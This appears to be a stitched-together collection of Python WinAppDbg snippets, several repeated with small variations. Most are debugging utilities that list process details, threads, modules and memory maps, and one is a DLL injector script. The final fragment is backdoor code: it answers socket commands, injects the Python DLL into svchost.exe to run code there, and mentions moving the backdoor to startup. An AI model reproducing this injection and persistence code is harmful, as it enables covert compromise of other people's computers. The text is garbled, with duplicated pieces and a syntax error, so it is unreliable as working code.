def main(): pid = int(sys.argv[1]) proc = Process(pid) #= info print "pid;", proc.get_pid() print "is_alive;", proc.is_alive() print "is_debugged;", proc.is_debugged() print "is_wow;", proc.is_wow64() print "arch;", proc.get_arch() print "bits;", proc.get_bits() print "filename:", proc.get_filename() print "exit_time;", proc.get_exit_time() print "running_time;", proc.get_running_time() print "service;", proc.get_services() print "policy;", proc.get_dep_policy() print "peb;", proc.get_peb() print "main_module;", proc.get_main_module() print "peb_address", proc.get_peb_address() print "entry_point;", proc.get_entry_point() print "image_base;", proc.get_image_base() print "image_name;", proc.get_image_name() print "command_line;", proc.get_command_line() print "environment;", proc.get_environment() print "handle;", proc.get_handle() print "resume;",proc.resume()
def print_modules(pid): # Instance a Process object. process = Process(pid) print "Process %d" % process.get_pid() # ...and the modules in the process. print "Modules:" bits = process.get_bits() for module in process.iter_modules(): print "\t%s\t%s" % (HexDump.address(module.get_base(), bits), module.get_filename())
def print_threads_and_modules(pid): process = Process(pid) print "Process %d" % process.get_pid() print "Threads:" for thread in process.iter_threads(): print "\t %d" % thread.get_tid() print "Modules:" bits = process.get_bits() for module in process.iter_modules(): print "\t%s\t%s" % (HexDump.address(module.get_base(), bits), module.get_filename())
def print_threads_and_modules(pid): # Instance a Process object. process = Process(pid) print "Process %d" % process.get_pid() # Now we can enumerate the threads in the process... print "Threads:" for thread in process.iter_threads(): print "\t%d" % thread.get_tid() # ...and the modules in the process. print "Modules:" bits = process.get_bits() for module in process.iter_modules(): print "\t%s\t%s" % (HexDump.address(module.get_base(), bits), module.get_filename())
def print_threads_and_modules( pid ): # Instance a Process object. process = Process( pid ) print "Process %d" % process.get_pid() # Now we can enumerate the threads in the process... print "Threads:" for thread in process.iter_threads(): print "\t%d" % thread.get_tid() # ...and the modules in the process. print "Modules:" bits = process.get_bits() for module in process.iter_modules(): print "\t%s\t%s" % ( HexDump.address( module.get_base(), bits ), module.get_filename() )
def proces_info(pid, addr=""): x = int(addr, 16) process = Process(pid) print "get_arch:", process.get_arch() print "get_bits:", process.get_bits() # print "get_main_module:", process.get_main_module() print "get_command_line:", process.get_command_line() print "get_image_name:", (process.get_image_name()) print "get_image_base:", hex(process.get_image_base()) print "get_peb:", hex(process.get_peb().ImageBaseAddress) print "get_peb_address:", hex(process.get_peb_address()) print "get_entry_point:", hex(process.get_entry_point())
def main(): print "Process DLL injector" print "by Mario Vilas (mvilas at gmail.com)" print if len(sys.argv) != 3: script = os.path.basename(sys.argv[0]) print "Injects a DLL into a running process." print " %s <pid> <library.dll>" % script print " %s <process.exe> <library.dll>" % script return System.request_debug_privileges() try: pid = HexInput.integer(sys.argv[1]) except Exception: s = System() s.scan_processes() pl = s.find_processes_by_filename(sys.argv[1]) if not pl: print "Process not found: %s" % sys.argv[1] return if len(pl) > 1: print "Multiple processes found for %s" % sys.argv[1] for p,n in pl: print "\t%12d: %s" % (p,n) return pid = pl[0][0].get_pid() print "Using PID %d (0x%x)" % (pid, pid) dll = sys.argv[2] print "Using DLL %s" % dll p = Process(pid) b = p.get_bits() if b != System.bits: print ( "Cannot inject into a %d bit process from a %d bit Python VM!" % (b, System.bits) ) return p.scan_modules() p.inject_dll(dll)
def main(): print("Process DLL injector") print("by Mario Vilas (mvilas at gmail.com)") print if len(sys.argv) != 3: script = os.path.basename(sys.argv[0]) print("Injects a DLL into a running process.") print(" %s <pid> <library.dll>" % script) print(" %s <process.exe> <library.dll>" % script) return System.request_debug_privileges() try: pid = HexInput.integer(sys.argv[1]) except Exception: s = System() s.scan_processes() pl = s.find_processes_by_filename(sys.argv[1]) if not pl: print("Process not found: %s" % sys.argv[1]) return if len(pl) > 1: print("Multiple processes found for %s" % sys.argv[1]) for p,n in pl: print("\t%12d: %s" % (p,n)) return pid = pl[0][0].get_pid() print("Using PID %d (0x%x)" % (pid, pid)) dll = sys.argv[2] print("Using DLL %s" % dll) p = Process(pid) b = p.get_bits() if b != System.bits: print(() "Cannot inject into a %d bit process from a %d bit Python VM!" % (b, System.bits) ) return p.scan_modules() p.inject_dll(dll)
def print_threads_and_modules(pid, debug): # Instance a Process object. process = Process(pid) print "Process %d" % process.get_pid() # Now we can enumerate the threads in the process... print "Threads:" for thread in process.iter_threads(): print "\t%d" % thread.get_tid() # ...and the modules in the process. print "Modules:" bits = process.get_bits() for module in process.iter_modules(): print "\thas module: %s\t%s" % (HexDump.address( module.get_base(), bits), module.get_filename()) print "Breakpoints:" for i in debug.get_all_breakpoints(): bp = i[2] print "breakpoint: %s %x" % (bp.get_state_name(), bp.get_address())
def print_alnum_jump_addresses(pid): # Request debug privileges so we can inspect the memory of services too. System.request_debug_privileges() # Suspend the process so there are no malloc's and free's while iterating. process = Process(pid) process.suspend() try: # For each executable alphanumeric address... for address, packed, module in iterate_alnum_jump_addresses(process): # Format the address for printing. numeric = HexDump.address(address, process.get_bits()) ascii = repr(packed) # Format the module name for printing. if module: modname = module.get_name() else: modname = "" # Try to disassemble the code at this location. try: code = process.disassemble(address, 16)[0][2] except NotImplementedError: code = "" # Print it. print numeric, ascii, modname, code # Resume the process when we're done. # This is inside a "finally" block, so if the program is interrupted # for any reason we don't leave the process suspended. finally: process.resume()
def print_threads_and_modules( pid, debug ): # Instance a Process object. process = Process( pid ) print "Process %d" % process.get_pid() # Now we can enumerate the threads in the process... print "Threads:" for thread in process.iter_threads(): print "\t%d" % thread.get_tid() # ...and the modules in the process. print "Modules:" bits = process.get_bits() for module in process.iter_modules(): print "\thas module: %s\t%s" % ( HexDump.address( module.get_base(), bits ), module.get_filename() ) print "Breakpoints:" for i in debug.get_all_breakpoints(): bp = i[2] print "breakpoint: %s %x" % (bp.get_state_name(), bp.get_address())
def print_memory_map(pid): # Instance a Process object. process = Process(pid) # Find out if it's a 32 or 64 bit process. bits = process.get_bits() # Get the process memory map. memoryMap = process.get_memory_map() # Now you could do this... # # from winappdbg import CrashDump # print CrashDump.dump_memory_map( memoryMap ), # # ...but let's do it the hard way: # For each memory block in the map... print("Address \tSize \tState \tAccess \tType") for mbi in memoryMap: # Address and size of memory block. BaseAddress = HexDump.address(mbi.BaseAddress, bits) RegionSize = HexDump.address(mbi.RegionSize, bits) # State (free or allocated). if mbi.State == win32.MEM_RESERVE: State = "Reserved " elif mbi.State == win32.MEM_COMMIT: State = "Commited " elif mbi.State == win32.MEM_FREE: State = "Free " else: State = "Unknown " # Page protection bits (R/W/X/G). if mbi.State != win32.MEM_COMMIT: Protect = " " else: ## Protect = "0x%.08x" % mbi.Protect if mbi.Protect & win32.PAGE_NOACCESS: Protect = "--- " elif mbi.Protect & win32.PAGE_READONLY: Protect = "R-- " elif mbi.Protect & win32.PAGE_READWRITE: Protect = "RW- " elif mbi.Protect & win32.PAGE_WRITECOPY: Protect = "RC- " elif mbi.Protect & win32.PAGE_EXECUTE: Protect = "--X " elif mbi.Protect & win32.PAGE_EXECUTE_READ: Protect = "R-X " elif mbi.Protect & win32.PAGE_EXECUTE_READWRITE: Protect = "RWX " elif mbi.Protect & win32.PAGE_EXECUTE_WRITECOPY: Protect = "RCX " else: Protect = "??? " if mbi.Protect & win32.PAGE_GUARD: Protect += "G" else: Protect += "-" if mbi.Protect & win32.PAGE_NOCACHE: Protect += "N" else: Protect += "-" if mbi.Protect & win32.PAGE_WRITECOMBINE: Protect += "W" else: Protect += "-" Protect += " " # Type (file mapping, executable image, or private memory). if mbi.Type == win32.MEM_IMAGE: Type = "Image " elif mbi.Type == win32.MEM_MAPPED: Type = "Mapped " elif mbi.Type == win32.MEM_PRIVATE: Type = "Private " elif mbi.Type == 0: Type = "Free " else: Type = "Unknown " # Print the memory block information. fmt = "%s\t%s\t%s\t%s\t%s" print(fmt % (BaseAddress, RegionSize, State, Protect, Type))
def print_memory_map(pid): process = Process(pid) bits = process.get_bits() memoryMap = process.get_memory_map() #print CrashDump.dump_memory_dump(memoryMap) print "Address \tSize \tState \tAccess \Type" for mbi in memoryMap: # Address and size of memory block BaseAddress = HexDump.address(mbi.BaseAddress, bits) RegionSize = HexDump.address(mbi.RegionSize, bits) if mbi.State == win32.MEM_RESERVE: State = "Reserved " elif mbi.State == win32.MEM_COMMIT: State = "commited " elif mbi.State == win32.MEM_FREE: State = "Free " else: State = "Unknown " if mbi.State != win32.MEM_COMMIT: Protect = " " else: ## Protect = "0x%.08x" % mbi.Protect if mbi.Protect & win32.PAGE_NOACCESS: Protect = "--- " elif mbi.Protect & win32.PAGE_READONLY: Protect = "R-- " elif mbi.Protect & win32.PAGE_READWRITE: Protect = "RW- " elif mbi.Protect & win32.PAGE_WRITECOPY: Protect = "RC- " elif mbi.Protect & win32.PAGE_EXECUTE: Protect = "--X " elif mbi.Protect & win32.PAGE_EXECUTE_READ: Protect = "R-X " elif mbi.Protect & win32.PAGE_EXECUTE_READWRITE: Protect = "RWX " elif mbi.Protect & win32.PAGE_EXECUTE_WRITECOPY: Protect = "RCX " else: Protect = "??? " if mbi.Protect & win32.PAGE_GUARD: Protect += "G" else: Protect += "-" if mbi.Protect & win32.PAGE_NOCACHE: Protect += "N" else: Protect += "-" if mbi.Protect & win32.PAGE_WRITECOMBINE: Protect += "W" else: Protect += "-" Protect += " " # Type (file mapping, executable image, or private memory). if mbi.Type == win32.MEM_IMAGE: Type = "Image " elif mbi.Type == win32.MEM_MAPPED: Type = "Mapped " elif mbi.Type == win32.MEM_PRIVATE: Type = "Private " elif mbi.Type == 0: Type = "Free " else: Type = "Unknown " # Print the memory block information. fmt = "%s\t%s\t%s\t%s\t%s" print fmt % (BaseAddress, RegionSize, State, Protect, Type)
def print_memory_map( pid ): # Instance a Process object. process = Process( pid ) # Find out if it's a 32 or 64 bit process. bits = process.get_bits() # Get the process memory map. memoryMap = process.get_memory_map() # Now you could do this... # # from winappdbg import CrashDump # print CrashDump.dump_memory_map( memoryMap ), # # ...but let's do it the hard way: # For each memory block in the map... print "Address \tSize \tState \tAccess \tType" for mbi in memoryMap: # Address and size of memory block. BaseAddress = HexDump.address(mbi.BaseAddress, bits) RegionSize = HexDump.address(mbi.RegionSize, bits) # State (free or allocated). if mbi.State == win32.MEM_RESERVE: State = "Reserved " elif mbi.State == win32.MEM_COMMIT: State = "Commited " elif mbi.State == win32.MEM_FREE: State = "Free " else: State = "Unknown " # Page protection bits (R/W/X/G). if mbi.State != win32.MEM_COMMIT: Protect = " " else: ## Protect = "0x%.08x" % mbi.Protect if mbi.Protect & win32.PAGE_NOACCESS: Protect = "--- " elif mbi.Protect & win32.PAGE_READONLY: Protect = "R-- " elif mbi.Protect & win32.PAGE_READWRITE: Protect = "RW- " elif mbi.Protect & win32.PAGE_WRITECOPY: Protect = "RC- " elif mbi.Protect & win32.PAGE_EXECUTE: Protect = "--X " elif mbi.Protect & win32.PAGE_EXECUTE_READ: Protect = "R-X " elif mbi.Protect & win32.PAGE_EXECUTE_READWRITE: Protect = "RWX " elif mbi.Protect & win32.PAGE_EXECUTE_WRITECOPY: Protect = "RCX " else: Protect = "??? " if mbi.Protect & win32.PAGE_GUARD: Protect += "G" else: Protect += "-" if mbi.Protect & win32.PAGE_NOCACHE: Protect += "N" else: Protect += "-" if mbi.Protect & win32.PAGE_WRITECOMBINE: Protect += "W" else: Protect += "-" Protect += " " # Type (file mapping, executable image, or private memory). if mbi.Type == win32.MEM_IMAGE: Type = "Image " elif mbi.Type == win32.MEM_MAPPED: Type = "Mapped " elif mbi.Type == win32.MEM_PRIVATE: Type = "Private " elif mbi.Type == 0: Type = "Free " else: Type = "Unknown " # Print the memory block information. fmt = "%s\t%s\t%s\t%s\t%s" print fmt % ( BaseAddress, RegionSize, State, Protect, Type )
result='\n' if dados.startswith("pwd"): s.send("\n"+str(os.getcwd)+"\n") if os.name == 'nt': try: # Injetando codigo python_lib = "python{0}{1}.dll".format(sys.version_info.major, sys.version_info.minor) python_dll = ctypes.util.find_library(python_lib) s = System() s.scan_processes() pl = s.find_processes_by_filename("svchost.exe") pid = pl[0][0].get_pid() p = Process(pid) print('pid', pid) print('arch', p.get_bits()) t = p.inject_dll(python_dll) p.scan_modules() m = p.get_module_by_name(python_lib) init = m.resolve("Py_InitializeEx") pyrun = m.resolve("PyRun_SimpleString") print(init, pyrun) p.start_thread(init, 0) time.sleep(0.1) sh = 'import subprocess; subprocess.call("svchost.exe")' addr = p.malloc(len(sh)) p.write(addr, sh) p.start_thread(pyrun, addr) # Movendo o backdoor pro startup if dados.startswith("move_startup"):